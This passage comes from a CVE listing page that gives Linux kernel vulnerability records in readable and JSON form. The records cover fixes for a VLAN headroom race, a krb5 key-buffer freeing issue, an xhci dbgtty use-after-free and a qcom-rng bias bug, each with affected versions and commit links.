          "url": "https://git.kernel.org/stable/c/1facad2a78c1a8aeecc36eb4d560c7f1e10ce198"
        },
        {
          "url": "https://git.kernel.org/stable/c/499907e5d46e575e96967c0230a0a6af980a17ab"
        },
        {
          "url": "https://git.kernel.org/stable/c/cbf1c84bf5cac2b3742ea3d2085fa713424465cc"
        },
        {
          "url": "https://git.kernel.org/stable/c/a930c54cb67200de8bc0de87480d09ece7dcd85d"
        },
        {
          "url": "https://git.kernel.org/stable/c/2abcdc5f738574e7fcdd9417575dffb877fdc26f"
        },
        {
          "url": "https://git.kernel.org/stable/c/e304c3e0d9ce251887be1f274aa0ed52219d5fd7"
        },
        {
          "url": "https://git.kernel.org/stable/c/0acdf1a575f59bd46717d5c487d84575af5bee8f"
        },
        {
          "url": "https://git.kernel.org/stable/c/9fca434208f1f9ab977feac62df8ebb1cc7ce893"
        }
      ],
      "title": "drm/amdgpu: Reject UVD message with invalid number of h265 refs",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80909",
    "datePublished": "2026-09-04T17:19:20.085Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-07T14:21:32.011Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80925 (GCVE-0-2026-80925)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:19 – Updated: 2026-09-09 16:19
    VLAI
    Title
    vlan: fix skb_under_panic and races when toggling HW VLAN offload
    Summary
    In the Linux kernel, the following vulnerability has been resolved: vlan: fix skb_under_panic and races when toggling HW VLAN offload Toggling hardware VLAN TX offload (NETIF_F_HW_VLAN_CTAG_TX or NETIF_F_HW_VLAN_STAG_TX) on a lower device invokes vlan_transfer_features(), which dynamically changed vlandev->hard_header_len. This causes two issues: 1. Lockless TX paths (e.g. packet_snd in af_packet.c, ip6_finish_output2) read dev->hard_header_len without holding RTNL lock. Mutating hard_header_len dynamically under RTNL creates a data race where upper layers reserve insufficient headroom based on a stale hard_header_len, resulting in skb_under_panic when vlan_dev_hard_header() is called. 2. In addition, vlan_transfer_features() updated hard_header_len without updating header_ops, causing a mismatch between allocated headroom and header creation. Always setting dev->hard_header_len = real_dev->hard_header_len and dev->needed_headroom = real_dev->needed_headroom + VLAN_HLEN unconditionally ensures: - dev->hard_header_len remains 100% static and immutable at real_dev->hard_header_len, eliminating all dynamic runtime updates and data races on hard_header_len. - Upper layers allocating skbs via LL_RESERVED_SPACE() will always reserve sufficient headroom for software VLAN tag insertion (real_dev->hard_header_len + real_dev->needed_headroom + VLAN_HLEN). - vlandev inherits real_dev->needed_tailroom so underlying trailer/padding/ICV requirements are honored. - AF_PACKET SOCK_RAW network header offsets remain correctly aligned at real_dev->hard_header_len. - vlan_header_ops is used unconditionally. Note to stable teams: Make sure to backport these commits: e16e960d55a4 ("ipvlan: inherit needed_headroom and needed_tailroom from phy_dev") cef51860becd ("macvlan: inherit needed_headroom and needed_tailroom from lowerdev")
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a29f3b884ba50217e6f50414f568073221e2bb07 (git)
    Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 447cbe95ebb95392b5d8f6a01c0556826919ce23 (git)
    		Create a notification for this product.
    Linux Linux Affected: 2.6.12
    Unaffected: 0 , < 2.6.12 (semver)
    Unaffected: 7.2.3 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/8021q/vlan_dev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a29f3b884ba50217e6f50414f568073221e2bb07",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "447cbe95ebb95392b5d8f6a01c0556826919ce23",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/8021q/vlan_dev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.3",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvlan: fix skb_under_panic and races when toggling HW VLAN offload\n\nToggling hardware VLAN TX offload (NETIF_F_HW_VLAN_CTAG_TX or\nNETIF_F_HW_VLAN_STAG_TX) on a lower device invokes vlan_transfer_features(),\nwhich dynamically changed vlandev-\u003ehard_header_len.\n\nThis causes two issues:\n1. Lockless TX paths (e.g. packet_snd in af_packet.c, ip6_finish_output2)\n   read dev-\u003ehard_header_len without holding RTNL lock. Mutating\n   hard_header_len dynamically under RTNL creates a data race where upper\n   layers reserve insufficient headroom based on a stale hard_header_len,\n   resulting in skb_under_panic when vlan_dev_hard_header() is called.\n2. In addition, vlan_transfer_features() updated hard_header_len without\n   updating header_ops, causing a mismatch between allocated headroom\n   and header creation.\n\nAlways setting dev-\u003ehard_header_len = real_dev-\u003ehard_header_len and\ndev-\u003eneeded_headroom = real_dev-\u003eneeded_headroom + VLAN_HLEN unconditionally\nensures:\n- dev-\u003ehard_header_len remains 100% static and immutable at real_dev-\u003ehard_header_len,\n  eliminating all dynamic runtime updates and data races on hard_header_len.\n- Upper layers allocating skbs via LL_RESERVED_SPACE() will always reserve\n  sufficient headroom for software VLAN tag insertion (real_dev-\u003ehard_header_len +\n  real_dev-\u003eneeded_headroom + VLAN_HLEN).\n- vlandev inherits real_dev-\u003eneeded_tailroom so underlying trailer/padding/ICV\n  requirements are honored.\n- AF_PACKET SOCK_RAW network header offsets remain correctly aligned at\n  real_dev-\u003ehard_header_len.\n- vlan_header_ops is used unconditionally.\n\nNote to stable teams: Make sure to backport these commits:\n\ne16e960d55a4 (\"ipvlan: inherit needed_headroom and needed_tailroom from phy_dev\")\ncef51860becd (\"macvlan: inherit needed_headroom and needed_tailroom from lowerdev\")"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:19:44.748Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a29f3b884ba50217e6f50414f568073221e2bb07"
        },
        {
          "url": "https://git.kernel.org/stable/c/447cbe95ebb95392b5d8f6a01c0556826919ce23"
        }
      ],
      "title": "vlan: fix skb_under_panic and races when toggling HW VLAN offload",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80925",
    "datePublished": "2026-09-09T16:19:44.748Z",
    "dateReserved": "2026-08-26T14:34:25.802Z",
    "dateUpdated": "2026-09-09T16:19:44.748Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80924 (GCVE-0-2026-80924)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:19 – Updated: 2026-09-09 16:19
    VLAI
    Title
    crypto: krb5 - use kfree_sensitive() for derived key buffers
    Summary
    In the Linux kernel, the following vulnerability has been resolved: crypto: krb5 - use kfree_sensitive() for derived key buffers crypto_krb5_prepare_encryption() and crypto_krb5_prepare_checksum() free the buffer holding the freshly derived keys with plain kfree(), leaving the key material behind in the freed slab object.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 3936f02bf2d3308a7359dd37dd96cd60603d8170 , < 731a5b6fb4c1705f9405d9029dd64ea81e336207 (git)
    Affected: 3936f02bf2d3308a7359dd37dd96cd60603d8170 , < 91b96dc9cc250cd16751f53de525cf3442ca0962 (git)
    Affected: 3936f02bf2d3308a7359dd37dd96cd60603d8170 , < a1bf79365794783b19f5b09e8a23f7ee311e8931 (git)
    Affected: 3936f02bf2d3308a7359dd37dd96cd60603d8170 , < f7d53dd3f267e46a784f219a75072f2f400d42b9 (git)
    		Create a notification for this product.
    Linux Linux Affected: 6.15
    Unaffected: 0 , < 6.15 (semver)
    Unaffected: 6.18.49 , ≤ 6.18.* (semver)
    Unaffected: 7.1.13 , ≤ 7.1.* (semver)
    Unaffected: 7.2.3 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "crypto/krb5/krb5_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "731a5b6fb4c1705f9405d9029dd64ea81e336207",
              "status": "affected",
              "version": "3936f02bf2d3308a7359dd37dd96cd60603d8170",
              "versionType": "git"
            },
            {
              "lessThan": "91b96dc9cc250cd16751f53de525cf3442ca0962",
              "status": "affected",
              "version": "3936f02bf2d3308a7359dd37dd96cd60603d8170",
              "versionType": "git"
            },
            {
              "lessThan": "a1bf79365794783b19f5b09e8a23f7ee311e8931",
              "status": "affected",
              "version": "3936f02bf2d3308a7359dd37dd96cd60603d8170",
              "versionType": "git"
            },
            {
              "lessThan": "f7d53dd3f267e46a784f219a75072f2f400d42b9",
              "status": "affected",
              "version": "3936f02bf2d3308a7359dd37dd96cd60603d8170",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "crypto/krb5/krb5_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.15"
            },
            {
              "lessThan": "6.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.49",
                  "versionStartIncluding": "6.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.13",
                  "versionStartIncluding": "6.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.3",
                  "versionStartIncluding": "6.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "6.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: krb5 - use kfree_sensitive() for derived key buffers\n\ncrypto_krb5_prepare_encryption() and crypto_krb5_prepare_checksum()\nfree the buffer holding the freshly derived keys with plain kfree(),\nleaving the key material behind in the freed slab object."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:19:44.150Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/731a5b6fb4c1705f9405d9029dd64ea81e336207"
        },
        {
          "url": "https://git.kernel.org/stable/c/91b96dc9cc250cd16751f53de525cf3442ca0962"
        },
        {
          "url": "https://git.kernel.org/stable/c/a1bf79365794783b19f5b09e8a23f7ee311e8931"
        },
        {
          "url": "https://git.kernel.org/stable/c/f7d53dd3f267e46a784f219a75072f2f400d42b9"
        }
      ],
      "title": "crypto: krb5 - use kfree_sensitive() for derived key buffers",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80924",
    "datePublished": "2026-09-09T16:19:44.150Z",
    "dateReserved": "2026-08-26T14:34:25.802Z",
    "dateUpdated": "2026-09-09T16:19:44.150Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80923 (GCVE-0-2026-80923)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:19 – Updated: 2026-09-09 16:19
    VLAI
    Title
    xhci: dbgtty: Fix unregister on tty_register_driver() failure
    Summary
    In the Linux kernel, the following vulnerability has been resolved: xhci: dbgtty: Fix unregister on tty_register_driver() failure If tty_register_driver() fails, it drops the reference, but fails to set the global dbc_tty_driver to NULL, causing the unregister to be called again when module exits. On module unload dbc_tty_exit() only gates its cleanup on the driver pointer being non-NULL, so it operates on the already-freed driver: module_init(xhci_hcd_init) xhci_hcd_init() xhci_dbc_init() [return value ignored] dbc_tty_init() tty_register_driver() fails tty_driver_kref_put() -> driver freed (dbc_tty_driver left dangling) ... module_exit(xhci_hcd_fini) xhci_hcd_fini() xhci_dbc_exit() dbc_tty_exit() if (dbc_tty_driver) -> true (dangling) tty_unregister_driver() -> use-after-free
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 01b7bc0938061f2fd46e0094f6483d8c6c02f7d3 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 43635ff6401ca0e0ed21875379eeded921321525 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < eaca2814f32b9872a332326324b9e83e01f156d2 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 943f976c93e70563b132f5585ff68b08c89641a2 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 0d0faf3cc44c4d86fc6faf5cea972c0fbe00b922 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 33ed35ca629477f57e0dd1d77d6df96cf5a9eb55 (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < 0e469b94fbba8eb03666da41dd1082b793c50c1a (git)
    Affected: 4521f16139409cdf9462c7325d43454462cff6c3 , < a916fa66a43e10f63198b6ce978badffc678821a (git)
    		Create a notification for this product.
    Linux Linux Affected: 5.9
    Unaffected: 0 , < 5.9 (semver)
    Unaffected: 5.15.220 , ≤ 5.15.* (semver)
    Unaffected: 6.1.187 , ≤ 6.1.* (semver)
    Unaffected: 6.6.156 , ≤ 6.6.* (semver)
    Unaffected: 6.12.108 , ≤ 6.12.* (semver)
    Unaffected: 6.18.49 , ≤ 6.18.* (semver)
    Unaffected: 7.1.13 , ≤ 7.1.* (semver)
    Unaffected: 7.2.3 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/host/xhci-dbgtty.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "01b7bc0938061f2fd46e0094f6483d8c6c02f7d3",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "43635ff6401ca0e0ed21875379eeded921321525",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "eaca2814f32b9872a332326324b9e83e01f156d2",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "943f976c93e70563b132f5585ff68b08c89641a2",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "0d0faf3cc44c4d86fc6faf5cea972c0fbe00b922",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "33ed35ca629477f57e0dd1d77d6df96cf5a9eb55",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "0e469b94fbba8eb03666da41dd1082b793c50c1a",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            },
            {
              "lessThan": "a916fa66a43e10f63198b6ce978badffc678821a",
              "status": "affected",
              "version": "4521f16139409cdf9462c7325d43454462cff6c3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/host/xhci-dbgtty.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.220",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.187",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.108",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.220",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.187",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.156",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.108",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.49",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.13",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.3",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxhci: dbgtty: Fix unregister on tty_register_driver() failure\n\nIf tty_register_driver() fails, it drops the reference, but fails to set\nthe global dbc_tty_driver to NULL, causing the unregister to be called\nagain when module exits.\n\nOn module unload dbc_tty_exit() only gates its cleanup on the driver\npointer being non-NULL, so it operates on the already-freed driver:\n\n    module_init(xhci_hcd_init)\n      xhci_hcd_init()\n        xhci_dbc_init()                       [return value ignored]\n          dbc_tty_init()\n            tty_register_driver() fails\n              tty_driver_kref_put()           -\u003e driver freed\n              (dbc_tty_driver left dangling)\n    ...\n    module_exit(xhci_hcd_fini)\n      xhci_hcd_fini()\n        xhci_dbc_exit()\n          dbc_tty_exit()\n            if (dbc_tty_driver)               -\u003e true (dangling)\n              tty_unregister_driver()         -\u003e use-after-free"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:19:43.538Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/01b7bc0938061f2fd46e0094f6483d8c6c02f7d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/43635ff6401ca0e0ed21875379eeded921321525"
        },
        {
          "url": "https://git.kernel.org/stable/c/eaca2814f32b9872a332326324b9e83e01f156d2"
        },
        {
          "url": "https://git.kernel.org/stable/c/943f976c93e70563b132f5585ff68b08c89641a2"
        },
        {
          "url": "https://git.kernel.org/stable/c/0d0faf3cc44c4d86fc6faf5cea972c0fbe00b922"
        },
        {
          "url": "https://git.kernel.org/stable/c/33ed35ca629477f57e0dd1d77d6df96cf5a9eb55"
        },
        {
          "url": "https://git.kernel.org/stable/c/0e469b94fbba8eb03666da41dd1082b793c50c1a"
        },
        {
          "url": "https://git.kernel.org/stable/c/a916fa66a43e10f63198b6ce978badffc678821a"
        }
      ],
      "title": "xhci: dbgtty: Fix unregister on tty_register_driver() failure",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80923",
    "datePublished": "2026-09-09T16:19:43.538Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:19:43.538Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80922 (GCVE-0-2026-80922)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:19 – Updated: 2026-09-09 16:19
    VLAI
    Title
    crypto: qcom-rng - Allow zero as a random number
    Summary
    In the Linux kernel, the following vulnerability has been resolved: crypto: qcom-rng - Allow zero as a random number Zero is a valid random number and needs to be allowed. Otherwise the output is distinguishable from random.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: f29cd5bb64c258f29b4c49452532481f50eb43ca , < 813e6718a199befc4f26f54bdd899fbfa11515e5 (git)
    Affected: f29cd5bb64c258f29b4c49452532481f50eb43ca , < 4c0018320942003bfedd0a1c4cce3f036d363a7f (git)
    Affected: f29cd5bb64c258f29b4c49452532481f50eb43ca , < 143c74034a1c47b0a1a64e7ca7153e7739bd1244 (git)
    Affected: f29cd5bb64c258f29b4c49452532481f50eb43ca , < 3c7101cfc52e378bcb0a46962145e39c9051dd5d (git)
    Affected: f29cd5bb64c258f29b4c49452532481f50eb43ca , < 4ef04bdc0c9f98836d1638be516f6bf1bad55f69 (git)
    		Create a notification for this product.
    Linux Linux Affected: 6.7
    Unaffected: 0 , < 6.7 (semver)
    Unaffected: 6.12.108 , ≤ 6.12.* (semver)
    Unaffected: 6.18.49 , ≤ 6.18.* (semver)
    Unaffected: 7.1.13 , ≤ 7.1.* (semver)
    Unaffected: 7.2.3 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/qcom-rng.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "813e6718a199befc4f26f54bdd899fbfa11515e5",
              "status": "affected",
              "version": "f29cd5bb64c258f29b4c49452532481f50eb43ca",
              "versionType": "git"
            },
            {
              "lessThan": "4c0018320942003bfedd0a1c4cce3f036d363a7f",
              "status": "affected",
              "version": "f29cd5bb64c258f29b4c49452532481f50eb43ca",
              "versionType": "git"
            },
            {
              "lessThan": "143c74034a1c47b0a1a64e7ca7153e7739bd1244",
              "status": "affected",
              "version": "f29cd5bb64c258f29b4c49452532481f50eb43ca",
              "versionType": "git"
            },
            {
              "lessThan": "3c7101cfc52e378bcb0a46962145e39c9051dd5d",
              "status": "affected",
              "version": "f29cd5bb64c258f29b4c49452532481f50eb43ca",
              "versionType": "git"
            },
            {
              "lessThan": "4ef04bdc0c9f98836d1638be516f6bf1bad55f69",
              "status": "affected",
              "version": "f29cd5bb64c258f29b4c49452532481f50eb43ca",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/qcom-rng.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.7"
            },
            {
              "lessThan": "6.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.108",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.108",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.49",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.13",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.3",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qcom-rng - Allow zero as a random number\n\nZero is a valid random number and needs to be allowed.  Otherwise the\noutput is distinguishable from random."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:19:42.937Z",
